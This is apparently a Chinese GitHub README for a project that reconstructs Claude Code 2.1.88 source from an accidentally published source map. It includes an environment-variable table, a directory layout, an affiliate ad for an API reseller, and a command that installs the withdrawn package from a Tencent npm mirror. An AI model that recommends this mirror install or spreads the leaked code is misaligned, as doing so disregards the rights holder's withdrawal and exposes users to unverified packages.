| `CLAUDE_CODE_PROACTIVE` | 主动模式 |
| `CLAUDE_CODE_COORDINATOR_MODE` | 协调器模式 |
| `CLAUDE_CODE_BRIEF` | 简报模式 |
| `CLAUDE_CODE_USE_BEDROCK` | 使用 AWS Bedrock |
| `CLAUDE_CODE_USE_VERTEX` | 使用 Google Vertex |
| `CLAUDE_CODE_DISABLE_AUTO_MEMORY` | 禁用自动记忆 |
| `CLAUDE_CODE_EXTRA_BODY` | API 附加 JSON |
| `CLAUDE_CODE_SYNTAX_HIGHLIGHT` | 语法高亮主题 |
| `CLAUDE_CODE_IDLE_THRESHOLD_MINUTES` | 空闲阈值（默认 75 分钟） |
| `CLAUDE_INTERNAL_FC_OVERRIDES` | GrowthBook 覆盖（仅 ant） |

</details>

---

## 项目结构

```
src/                    # 核心源码（1,987 个 TS/TSX）
├── tools/              # 53 个工具（Bash/FileEdit/Agent/MCP...）
├── commands/           # 87 个斜杠命令
├── services/           # API / MCP / analytics / autoDream
├── components/         # 148 个终端 UI 组件（React + Ink）
├── hooks/              # 87 个自定义 Hooks
├── buddy/              # 宠物伴侣系统
├── assistant/          # KAIROS 助手模式
├── coordinator/        # 多 Agent 协调器
├── bridge/             # 远程控制桥接（31 文件）
├── proactive/          # 主动模式
├── vim/                # Vim 模式引擎
├── voice/              # 语音交互
└── ...
shims/                  # 原生模块兼容替代
vendor/                 # 原生绑定源码
```

---

## 数据来源

- npm 包：[@anthropic-ai/claude-code](https://www.npmjs.com/package/@anthropic-ai/claude-code)
- 还原方式：提取 `cli.js.map` 中的 `sourcesContent`

## 声明

- 源码版权归 [Anthropic](https://www.anthropic.com) 所有
- 仅用于技术研究与学习，请勿用于商业用途
- 如有侵权，请联系删除

# Claude Code 2.1.88 Source Recovery

# Claude Code 2.1.88 Source Recovery

<p align="center">
  <img src="https://img.shields.io/badge/Version-2.1.88-blue.svg" alt="Version">
  <img src="https://img.shields.io/badge/Status-Recovered-green.svg" alt="Status">
  <img src="https://img.shields.io/badge/Language-TypeScript-blue.svg" alt="Language">
  <img src="https://img.shields.io/badge/UI-Ink%20%2F%20React-orange.svg" alt="UI">
</p>

---

## 🌟 强力推荐：DataEyesAI - 你的全能 AI 助手

> **想要像 Claude Code 一样高效，却苦于没有稳定的 API 接入？**

**[DataEyesAI](https://dataeyes.ai/?promoter_code=4qx9suz3)** 是为你量身打造的一站式 AI 聚合平台！

- ⚡ **聚合全球顶尖模型**：一键接入 GPT-5、Claude 4.6、Gemini 3.1 等主流大模型。
- 💰 **极致性价比**：官方原厂满血版 API，价格却极具竞争力，让你用最少的成本享受最强的 AI 能力。
- 🛡️ **稳定可靠**：专业运维 7x24 小时守护，企业级 SLA 保障，告别连接断断续续的烦恼。
- 🛠️ **开发者友好**：标准 API 接口，完美适配各类开源项目、CLI 工具及开发流程。

👉 **[立即注册体验，开启你的 AI 生产力起飞之旅！](https://dataeyes.ai/?promoter_code=4qx9suz3)**

👉 请点击：[https://dataeyes.ai/?promoter_code=4qx9suz3](https://dataeyes.ai/?promoter_code=4qx9suz3)

---

> [!IMPORTANT]
> **这是一个针对 `@anthropic-ai/claude-code` 2.1.88 版本的源码整理与重建项目。**
> 该版本发布到 npm 时附带了可还原源码的 source map。本项目基于 `sources` 和 `sourcesContent` 将其还原为可读的源码目录，旨在研究 Claude Code 的 CLI 架构、命令系统及 MCP 实现。
> 
> 从 cli.js.map 还原后，一共有 70w 行代码
> <img width="794" height="387" alt="图片" src="https://github.com/user-attachments/assets/ab30578b-d6d2-440c-abde-ddf09e5d42de" />


## 🚀 快速安装 (镜像源)

背景：2026.03.31 claude code 上 npm 上传了包含 claude code 源码的 `cli.js.map` 文件

<img width="1497" height="242" alt="图片" src="https://github.com/user-attachments/assets/b1a01c8d-f14c-46d5-b6cb-4f5b4f90c9ab" />


由于 2.1.88 版本已从[官方 npm](https://www.npmjs.com/package/@anthropic-ai/claude-code/v/2.1.88?activeTab=code) 下架，直接使用 `npm install @anthropic-ai/claude-code@2.1.88` 会报错，你可以通过腾讯缓存镜像进行安装：

```shell
npm install -g https://mirrors.cloud.tencent.com/npm/@anthropic-ai/claude-code/-/claude-code-2.1.88.tgz
```

<img width="626" height="370" alt="图片" src="https://github.com/user-attachments/assets/bcc1d094-f19d-4bd7-b53b-898399c6d117" />


> 手慢无，不知道腾讯云的镜像缓存什么时候也没了


可以关注我的公众号，行业第一手信息，都会发在文章中

<img width="932" height="380" alt="图片" src="https://github.com/user-attachments/assets/1e0b00bc-d44b-4466-a488-703933428b93" />


---

## 项目结构概览

本项目以 `src/` 为核心，高度还原了原始代码组织：

- **`src/entrypoints/`** - CLI 入口与初始化逻辑
- **`src/commands/`** - 强大的命令系统 (`login`, `mcp`, `review`, `tasks` 等)
- **`src/components/`** - 基于 **React + Ink** 的终端 UI 组件
- **`src/services/`** - 核心业务逻辑 (策略、同步、远程能力等)
- **`src/hooks/`** - 交互式终端状态管理
- **`src/utils/`** - 认证、文件操作、进程管理等工具函数
- **`src/ink/`** - 定制的终端渲染基础设施

---

## 源码亮点

从还原的代码中，我们可以深入探索以下核心设计：

- **命令装载机制**：支持内建命令、动态 skills、插件及 MCP 命令的混合装载。
- **终端 UI 艺术**：如何利用 React 组件在终端中构建复杂的交互界面。
- **MCP 深度集成**：Model Context Protocol 在 CLI 中的具体实现与应用。
- **Feature Flags**：源码中随处可见的特性裁剪与构建期控制逻辑。

---

## ⚠️ 免责声明

- **非官方项目**：本仓库并非 Anthropic 官方仓库，亦不代表其立场。
- **版权说明**：原始代码的版权、商标及相关权利归原权利方（Anthropic）所有。
- **研究用途**：本项目仅供归档、结构分析与源码阅读，不应被视为官方开源项目。
- **法律风险**：如需二次发布或商用，请自行评估相关许可与法律风险。

---

## 后续计划 (待补齐)

如果你想让它跑起来，建议按以下步骤尝试：
1. 添加 `package.json` 并配置依赖。
2. 补齐构建工具链。
3. 处理 `bun:bundle` 宏与 feature flags。
4. 验证核心命令的运行情况。

---

## 致谢

感谢发布时未移除的 **Source Map**，让这份精致的工程结构得以重现。

---

## Star History

[![Star History Chart](https://api.star-history.com/svg?repos=ponponon/claude_code_src&type=Date)](https://star-history.com/#ponponon/claude_code_src&Date)